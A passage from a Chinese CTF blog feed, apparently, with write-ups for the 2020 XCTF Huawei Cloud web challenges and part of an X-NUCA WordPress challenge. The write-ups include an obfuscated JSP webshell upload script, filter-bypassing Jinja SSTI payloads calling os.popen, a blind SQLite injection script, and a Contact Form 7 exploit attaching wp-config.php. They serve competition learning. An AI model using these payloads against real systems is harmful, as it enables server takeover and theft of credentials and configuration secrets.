    <content type="html"><![CDATA[<p>临近期末，抽了半天时间做了四道水题…</p><a id="more"></a><h2 id="webshell-1"><a href="#webshell-1" class="headerlink" title="webshell_1"></a>webshell_1</h2><p>免杀的jsp，网上找个改一改：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> base64 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> urllib <span class="keyword">import</span> quote</span><br><span class="line"></span><br><span class="line">shell = <span class="string">&#x27;&#x27;&#x27;&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot;  language=&quot;java&quot; %&gt;</span></span><br><span class="line"><span class="string">&lt;%</span></span><br><span class="line"><span class="string">        Class rt = Class.forName(new String(new byte[] &#123; 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 &#125;));</span></span><br><span class="line"><span class="string">        Process e = (Process) rt.getMethod(new String(new byte[] &#123; 101, 120, 101, 99 &#125;), String.class).invoke(rt.getMethod(new String(new byte[] &#123; 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 &#125;)).invoke(null), &quot;cat /flag&quot; );</span></span><br><span class="line"><span class="string">        \u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0065\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b</span></span><br><span class="line"><span class="string">        int a = -1;byte[] b = new byte[2048];out.print(&quot;&lt;pre&gt;&quot;);</span></span><br><span class="line"><span class="string">        while((a=in.read(b))!=-1)&#123; out.println(new String(b)); &#125;out.print(&quot;&lt;/pre&gt;&quot;);</span></span><br><span class="line"><span class="string">%&gt;&#x27;&#x27;&#x27;</span></span><br><span class="line">l = <span class="built_in">len</span>(shell)</span><br><span class="line"></span><br><span class="line">session = requests.Session()</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;=&quot;</span> <span class="keyword">in</span> b64encode(shell):</span><br><span class="line">        shell += <span class="string">&#x27; &#x27;</span></span><br><span class="line">        shell += <span class="string">&#x27; &#x27;</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">paramsPost = b64encode(shell)</span><br><span class="line">headers = &#123;<span class="string">&quot;Origin&quot;</span>: <span class="string">&quot;http://121.37.182.111:32201&quot;</span>, <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;application/json, text/plain, */*&quot;</span>,</span><br><span class="line">           <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36&quot;</span>,</span><br><span class="line">           <span class="string">&quot;Referer&quot;</span>: <span class="string">&quot;http://121.37.182.111:32201/&quot;</span>, <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>, <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">           <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">cookies = &#123;<span class="string">&quot;JSESSIONID&quot;</span>: <span class="string">&quot;91329C00210DA235957175E32087F422&quot;</span>&#125;</span><br><span class="line">response = session.post(<span class="string">&quot;http://121.37.182.111:32201/upload.jsp&quot;</span>, data=paramsPost, headers=headers, cookies=cookies,</span><br><span class="line">                        proxies=&#123;<span class="string">&#x27;http&#x27;</span>: <span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line"></span><br><span class="line">path = response.content.strip()</span><br><span class="line"><span class="built_in">print</span> path</span><br><span class="line"><span class="built_in">print</span> requests.get(<span class="string">&#x27;http://121.37.182.111:32201/&#x27;</span> + path).text</span><br></pre></td></tr></table></figure><h2 id="MIE1-1"><a href="#MIE1-1" class="headerlink" title="MIE1_1"></a>MIE1_1</h2><p><a href="https://www.secpulse.com/archives/115367.html">https://www.secpulse.com/archives/115367.html</a></p><p>过滤了args，用cookies就好了。</p><p><img src="/2020/12/21/2020-XCTF-huawei-cloud/-_Ziw3Hzu0cvoiNtpbRrOWNCEx24iltHK3GWDcPwR5OjDoY_LisT0UOngtZvrN0GxVXe7o55TyjCiGfkJxlA44mSJZ4YTcZ3ixjoBQMK_RKXnYQZNkBB5onM1XCaB0Mse9JTrrrH.png" alt="img"></p><h2 id="MIE2"><a href="#MIE2" class="headerlink" title="MIE2"></a>MIE2</h2><p>过滤了<code>&#123;&#123;</code> 空格 request set 引号 config 等。</p><p>使用 <code>&#123;%</code>，%c 来拼字符串。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">&#x27;http://121.37.182.111:31969/success&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">gen</span>(<span class="params">s</span>):</span></span><br><span class="line">    res = <span class="built_in">map</span>(<span class="keyword">lambda</span> x: (<span class="string">&#x27;&quot;%c&quot;%(&#x27;</span> + <span class="built_in">str</span>(<span class="built_in">ord</span>(x)) + <span class="string">&quot;)&quot;</span>), s)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;+&quot;</span>.join(res)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">exp = <span class="string">&#x27;&#x27;&#x27;()|attr(&#123;x1&#125;)|attr(&#123;x2&#125;)|attr(&#123;x3&#125;)()|attr(&#123;x4&#125;)(233)|attr(&#123;x5&#125;)|attr(&#123;x6&#125;)|attr(&#123;x4&#125;)(&#123;x7&#125;)|attr(&#123;x4&#125;)(&#123;x8&#125;)(&#123;x9&#125;)&#x27;&#x27;&#x27;</span> \</span><br><span class="line">    .<span class="built_in">format</span>(</span><br><span class="line">    x1=gen(<span class="string">&quot;__class__&quot;</span>), x2=gen(<span class="string">&quot;__base__&quot;</span>), x3=gen(<span class="string">&quot;__subclasses__&quot;</span>), x4=gen(<span class="string">&quot;__getitem__&quot;</span>), x5=gen(<span class="string">&quot;__init__&quot;</span>),</span><br><span class="line">    x6=gen(<span class="string">&quot;__globals__&quot;</span>), x7=gen(<span class="string">&quot;__builtins__&quot;</span>), x8=gen(<span class="string">&quot;eval&quot;</span>),</span><br><span class="line">    x9=gen(<span class="string">&#x27;&#x27;&#x27;__import__(&quot;os&quot;).popen(&#x27;cat flag.txt&#x27;).read()&#x27;&#x27;&#x27;</span>))</span><br><span class="line">msg = <span class="string">&#x27;&#x27;&#x27;&#123;%print\n&#x27;&#x27;&#x27;</span> + exp + <span class="string">&quot;%&#125;&quot;</span></span><br><span class="line">s = requests.get(url, params=&#123;<span class="string">&#x27;msg&#x27;</span>: msg&#125;&#125;)</span><br><span class="line"><span class="built_in">print</span> s.text</span><br></pre></td></tr></table></figure><p><img src="/2020/12/21/2020-XCTF-huawei-cloud/BMv_rlYa235Q-QA3VCfQCYPFsIZRhPA1wDFCEUcITehBsbvK5qZ7efAztPmiGlbMaNqZziqZlcowK3cB_O4c5lzhwEradr9kNvjw-OLIIVC7sUMVT3w9nBr5L9Vz-SIXSzlHzxOQ.png" alt="img"></p><p>用 <code>\x</code>编码的形式应该也可以，简单一些。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;%print(()|attr(&quot;\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f&quot;)|attr(&quot;\x5f\x5f\x62\x61\x73\x65\x5f\x5f&quot;)|attr(&quot;\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f&quot;)()|attr(&quot;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&quot;)(202)|attr(&quot;\x5f\x5f\x69\x6e\x69\x74\x5f\x5f&quot;)|attr(&quot;\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f&quot;)|attr(&quot;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&quot;)(&quot;\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f&quot;)|attr(&quot;\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f&quot;)(&quot;\x65\x76\x61\x6c&quot;)(&quot;\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x72\x65\x61\x64\x28\x29&quot;))%&#125;</span><br></pre></td></tr></table></figure><h2 id="PYER"><a href="#PYER" class="headerlink" title="PYER"></a>PYER</h2><p>username 处存在注入，Sqlite，注出 admin 的密码是 <code>sqlite_not_safe</code>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"></span><br><span class="line">url = <span class="string">&quot;http://124.71.207.51:30435/login&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req</span>(<span class="params">username, password</span>):</span></span><br><span class="line">    s = requests.post(url, data=&#123;<span class="string">&#x27;username&#x27;</span>: username, <span class="string">&#x27;password&#x27;</span>: password&#125;,proxies=&#123;<span class="string">&#x27;http&#x27;</span>:<span class="string">&#x27;http://127.0.0.1:8080&#x27;</span>&#125;)</span><br><span class="line">    <span class="keyword">if</span> s.status_code==<span class="number">500</span>:</span><br><span class="line">        <span class="built_in">print</span> username</span><br><span class="line">        exit()</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;login error&quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> s.text:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># table:comment users</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_column</span>():</span></span><br><span class="line">    <span class="comment"># comment users</span></span><br><span class="line">    username = <span class="string">&quot;gml&#x27;union select case when substr((select hex(group_concat(sql)) FROM sqlite_master WHERE type=&#x27;table&#x27; and name=&#x27;users&#x27;),&#123;pos&#125;,1)=&#x27;&#123;value&#125;&#x27; then &#x27;2&#x27; else &#x27;0&#x27; end-- &quot;</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">101</span>,<span class="number">500</span>):</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&quot;0123456789ABCDEF&quot;</span>:</span><br><span class="line">            <span class="keyword">if</span> req(username.<span class="built_in">format</span>(pos=i,value=c), <span class="number">2</span>):</span><br><span class="line">                data += c</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(data)%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">                    <span class="built_in">print</span> data.decode(<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_pass</span>():</span></span><br><span class="line">    <span class="comment"># sqlite_not_safe</span></span><br><span class="line">    username = <span class="string">&quot;gml&#x27;union select case when substr((select hex(group_concat(password)) FROM users),&#123;pos&#125;,1)=&#x27;&#123;value&#125;&#x27; then &#x27;2&#x27; else &#x27;0&#x27; end-- &quot;</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">500</span>):</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&quot;0123456789ABCDEF&quot;</span>:</span><br><span class="line">            <span class="keyword">if</span> req(username.<span class="built_in">format</span>(pos=i,value=c), <span class="number">2</span>):</span><br><span class="line">                data += c</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(data)%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">                    <span class="built_in">print</span> data.decode(<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_data</span>():</span></span><br><span class="line">    <span class="comment"># sqlite_not_safe</span></span><br><span class="line">    username = <span class="string">&quot;gml&#x27;union select case when substr((select hex(group_concat(sql)) FROM sqlite_master WHERE type=&#x27;table&#x27; and name=&#x27;comment&#x27;),&#123;pos&#125;,1)=&#x27;&#123;value&#125;&#x27; then &#x27;2&#x27; else &#x27;0&#x27; end-- &quot;</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">101</span>,<span class="number">500</span>):</span><br><span class="line">        <span class="keyword">for</span> c <span class="keyword">in</span> <span class="string">&quot;0123456789ABCDEF&quot;</span>:</span><br><span class="line">            <span class="keyword">if</span> req(username.<span class="built_in">format</span>(pos=i,value=c), <span class="number">2</span>):</span><br><span class="line">                data += c</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(data)%<span class="number">2</span>==<span class="number">0</span>:</span><br><span class="line">                    <span class="built_in">print</span> data.decode(<span class="string">&quot;hex&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span>():</span></span><br><span class="line">    username = <span class="string">&quot;gml&#x27;union select case when substr((select group_concat(tbl_name) FROM sqlite_master WHERE type=&#x27;table&#x27; and tbl_name NOT like &#x27;sqlite_%&#x27;),1,1)=&#x27;c&#x27; then &#x27;2&#x27; else &#x27;0&#x27; end-- &quot;</span></span><br><span class="line">    <span class="built_in">print</span> req(username, <span class="string">&#x27;2&#x27;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    <span class="comment"># test()</span></span><br><span class="line">    <span class="comment"># get_column()</span></span><br><span class="line">    <span class="comment"># get_pass()</span></span><br><span class="line">    get_data()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>登陆进admin，一个查询 comment 的功能，有一处注入+回显点，可以ssti。</p><p><img src="https://lh6.googleusercontent.com/rYXDKwGOrEhdBXZuCLvq2bErCvOI77f4rnVv16-hPAZhcHa2J0v0Q6_TW7gytpT4dh1fEBvFqsYqWO5WSyfP8UmQ4TzOTPuZy4U17L2Xp8o3_popz6hfjsf2WmgnuKJGFjAn8RbJ" alt="img"></p><p>直接把MIE2 那个题的payload复用一下：</p><p><img src="/2020/12/21/2020-XCTF-huawei-cloud/o-TOac5qa5vCGyWLa7jUZO2a8V6TNsOPk5lVVObwiksAEoavm-tXrgls39OF0u3hB-UUEa8PfrtCNA5NXmZRtST2odZ93QZ5NyYfHz_ihEI8990XbvehtRaQs6fyJsEik7yagWW8.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;临近期末，抽了半天时间做了四道水题…&lt;/p&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://igml.top/categories/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/categories/CTF/Web/"/>
    
    
    <category term="CTF" scheme="https://igml.top/tags/CTF/"/>
    
    <category term="Web" scheme="https://igml.top/tags/Web/"/>
    
    <category term="huawei-cloud" scheme="https://igml.top/tags/huawei-cloud/"/>
    
  </entry>
  
  <entry>
    <title>2020 X-NUCA 决赛 ezwp</title>
    <link href="https://igml.top/2020/12/08/2020-X-NUCA-FINAL/"/>
    <id>https://igml.top/2020/12/08/2020-X-NUCA-FINAL/</id>
    <published>2020-12-08T12:16:13.000Z</published>
    <updated>2020-12-09T07:16:57.474Z</updated>
    
    <content type="html"><![CDATA[<p>往年听说 X-NUCA 决赛有渗透，想着来补补渗透，结果今年没有了… 只有一道 Web，类似解题，提交 flag 每轮自动得分，没有防御概念。</p><p>题目基于 Wordpress 5.5.3 最新版本进行了一些改动，并添加了几个插件。拿到源码先 diff 一下，发现 wordpress 部分有几处小的改动，其中增加了对文件上传的一个过滤：</p><a id="more"></a><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209082627417.png" alt="image-20201209082627417"></p><p>文件内容不允许含有 php。其他有部分改动，但感觉没什么可以利用的。继续看插件，发现除了contact-form-7，剩下的插件都是最新版本。contact-form-7 是 5.0.3 的版本。</p><h2 id="预期解法"><a href="#预期解法" class="headerlink" title="预期解法"></a>预期解法</h2><p>开始一直沿着预期解法做，后面卡住做不动了。</p><p>搜一下contact-form-7 5.0.3漏洞，发现有一个权限提升的漏洞：<a href="https://paper.seebug.org/774/">https://paper.seebug.org/774/</a></p><p>diff 一下题目的代码与 contact-form-7 5.0.3源码，发现很明显：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209082432162.png" alt="image-20201209082432162"></p><p>权限提升的漏洞最后利用就是通过邮件方式任意文件读取，这里出题人重写了发邮件函数，很明显就是要利用这个漏洞。</p><p>用文章的方法进行复现，发现可以越权创建 contact，但是无法设置 email 那些关键参数。</p><p>文章的exp：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> settings = &#123;</span><br><span class="line">    <span class="string">&quot;async&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&quot;crossDomain&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&quot;url&quot;</span>: <span class="string">&quot;http://10.0.0.123/wordpress_v4.9.2/wp-admin/post.php?post=xxx&quot;</span>,</span><br><span class="line">    <span class="string">&quot;method&quot;</span>: <span class="string">&quot;POST&quot;</span>,</span><br><span class="line">    <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;_wpnonce&quot;</span>: <span class="string">&quot;xxx&quot;</span>,</span><br><span class="line">        <span class="string">&quot;_wp_http_referer&quot;</span>: <span class="string">&quot;%2Fwordpress_v4.9.2%2Fwp-admin%2Fpost-new.php&quot;</span>,</span><br><span class="line">        <span class="string">&quot;user_ID&quot;</span>: <span class="string">&quot;2&quot;</span>,</span><br><span class="line">        <span class="string">&quot;action&quot;</span>: <span class="string">&quot;post&quot;</span>,</span><br><span class="line">        <span class="string">&quot;originalaction&quot;</span>: <span class="string">&quot;editpost&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_author&quot;</span>: <span class="string">&quot;2&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_type&quot;</span>: <span class="string">&quot;wpcf7_contact_form&quot;</span>,</span><br><span class="line">        <span class="string">&quot;original_post_status&quot;</span>: <span class="string">&quot;auto-draft&quot;</span>,</span><br><span class="line">        <span class="string">&quot;auto_draft&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_title&quot;</span>: <span class="string">&quot;xxx&quot;</span>,</span><br><span class="line">        <span class="string">&quot;content&quot;</span>: <span class="string">&quot;test&quot;</span>,</span><br><span class="line">        <span class="string">&quot;wp-preview&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;hidden_post_status&quot;</span>: <span class="string">&quot;draft&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_status&quot;</span>: <span class="string">&quot;draft&quot;</span>,</span><br><span class="line">        <span class="string">&quot;hidden_post_password&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;hidden_post_visibility&quot;</span>: <span class="string">&quot;public&quot;</span>,</span><br><span class="line">        <span class="string">&quot;visibility&quot;</span>: <span class="string">&quot;public&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_password&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;mm&quot;</span>: <span class="string">&quot;12&quot;</span>,</span><br><span class="line">        <span class="string">&quot;jj&quot;</span>: <span class="string">&quot;22&quot;</span>,</span><br><span class="line">        <span class="string">&quot;_thumbnail_id&quot;</span>: <span class="string">&quot;-1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;advanced_view&quot;</span>: <span class="string">&quot;1&quot;</span>,</span><br><span class="line">        <span class="string">&quot;comment_status&quot;</span>: <span class="string">&quot;open&quot;</span>,</span><br><span class="line">        <span class="string">&quot;ping_status&quot;</span>: <span class="string">&quot;open&quot;</span>,</span><br><span class="line">        <span class="string">&quot;post_name&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][subject]&quot;</span>: <span class="string">&quot;test \&quot;[your-subject]\&quot;&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][sender]&quot;</span>: <span class="string">&quot;2&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][recipient]&quot;</span>: <span class="string">&quot;xxx&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][body]&quot;</span>: <span class="string">&quot;From: [your-name] &lt;[your-email]&gt;\\nSubject: [your-subject]\\n\\nMessage Body:\\n[your-message]\\n\\n-- \\n&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][additional_headers]&quot;</span>: <span class="string">&quot;Reply-To: [your-email]&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][attachments]&quot;</span>: <span class="string">&quot;../wp-config.php&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][use_html]&quot;</span>: <span class="string">&quot;false&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_mail][exclude_blank]&quot;</span>: <span class="string">&quot;false&quot;</span>,</span><br><span class="line">        <span class="string">&quot;meta_input[_form]&quot;</span>: <span class="string">&quot;&lt;label&gt; Your Name (required)\n    [text* your-name] &lt;/label&gt;\n\n&lt;label&gt; Your Email (required)\n    [email* your-email] &lt;/label&gt;\n\n&lt;label&gt; Subject\n    [text your-subject] &lt;/label&gt;\n\n&lt;label&gt; Your Message\n    [textarea your-message] &lt;/label&gt;\n\n[submit \\\&quot;Send\\\&quot;]&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">jQuery.ajax(settings).done(<span class="function"><span class="keyword">function</span> (<span class="params">response</span>) </span>&#123;</span><br><span class="line">    <span class="built_in">console</span>.log(response);</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>exp中通过 <code>meta_input</code>参数设置了 email 的一些关键属性。但是在本地复现过程中只能创建 contact，这些关键 meta 没有设置成功。</p><p>开启调试跟一下源码，发现 meta_input 参数被 ban 掉了…</p><p><code>wp-admin/includes/post.php</code>：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">_wp_get_allowed_postdata</span>(<span class="params"> $post_data = <span class="literal">null</span> </span>) </span>&#123;</span><br><span class="line"><span class="keyword">if</span> ( <span class="keyword">empty</span>( $post_data ) ) &#123;</span><br><span class="line">$post_data = $_POST;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Pass through errors.</span></span><br><span class="line"><span class="keyword">if</span> ( is_wp_error( $post_data ) ) &#123;</span><br><span class="line"><span class="keyword">return</span> $post_data;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> array_diff_key( $post_data, array_flip( <span class="keyword">array</span>( <span class="string">&#x27;meta_input&#x27;</span>, <span class="string">&#x27;guid&#x27;</span> ) ) );</span><br><span class="line">    </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注释一下这个过滤，可以看到最终确实是对 meta_input 参数的值设置了 meta：</p><p><code>wp-admin/includes/post.php</code>：</p><p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209084336190.png" alt="image-20201209084336190"></p><p>这里尝试了很多思路去绕过，无果，所以放弃了这个思路…</p><p>赛后问了下出题师傅，确实是利用这个漏洞。sendmail 函数有写日志的操作，预期解是写入文件，然后 phar 反序列化 getshell，关于这个漏洞如何利用，没有公布。</p><h2 id="非预期解法"><a href="#非预期解法" class="headerlink" title="非预期解法"></a>非预期解法</h2><p>出题人在文件上传处加了过滤，不允许含有 php，所以需要利用上述漏洞达到任意文件写的目的。但是赛场上大家几乎都是非预期。</p><img src="/2020/12/08/2020-X-NUCA-FINAL/image-20201209085131068.png" alt="image-20201209085131068" style="zoom: 50%;"><p>将 php 随便改成  xxx，phar 反序列化同样可以利用。</p><p>下面就是相同的思路了，反序列化 getshell，参考这篇 phar 的经典文章：<a href="https://paper.seebug.org/680/#31">https://paper.seebug.org/680/#31</a></p><p>pop 链，没有了 WooCommerce 这个插件，找一个代替的：</p><p> all-in-one-event-calendar 插件中 <code>app/controller/shutdown.php</code>的<code>Ai1ec_Shutdown_Controller</code>类。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span 